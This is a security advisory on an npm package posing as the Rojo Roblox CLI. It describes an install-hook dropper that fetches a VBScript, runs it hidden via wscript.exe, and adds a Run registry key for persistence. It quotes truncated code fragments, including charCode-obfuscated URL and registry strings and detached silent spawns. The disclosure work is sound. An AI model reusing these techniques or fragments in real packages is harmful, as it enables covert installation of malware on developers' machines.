GCVE-110-OSM-2026-12414

This package is a dropper disguised as the legitimate Rojo Roblox CLI tool. The install script downloads a VBScript from a hardcoded URL reconstructed at runtime via _d() charCode arrays, writes it to %APPDATA%\Rojo\rojo-sync.vbs executes it silently via wscript.exe //B in a detached process, and establishes boot persistence by writing HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RojoClientSync via reg.exe — all consistent with a staged payload dropper with persistence. The _d() obfuscation of the download URL, registry path, and wscript invocation is deliberate evasion of static review. ENTRY scripts/install.js (install-hook: node scripts/install.js) - Install Hook Executes Local JS File in package.json EXFIL - Environment Variable Exfiltration in scripts/install.js: "process.env.ROJO_MIRROR || _d([104,116,116,112,115,58,47,47,108,56,49,46,109,101..." - System Information Exfiltration in scripts/install.js: "os.homedir(), _d([82,111,106,111])); try { fs.mkdirSync(dir, { recursive: true }..." - System Information Collection in scripts/install.js: "os.hostname()" ADDITIONAL FINDINGS - Stealth Background Process Spawning in scripts/install.js: "spawn('reg', ['add', _d([72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,..." - Shell Command Execution in scripts/install.js: "require('child_process')" - Silent Process Execution in scripts/install.js: "stdio: 'ignore'" - Detached Child Process Payload in scripts/install.js: "spawn(bin, args, { detached: true" - Very New NPM Publisher Account PAYLOAD FILES scripts/install.js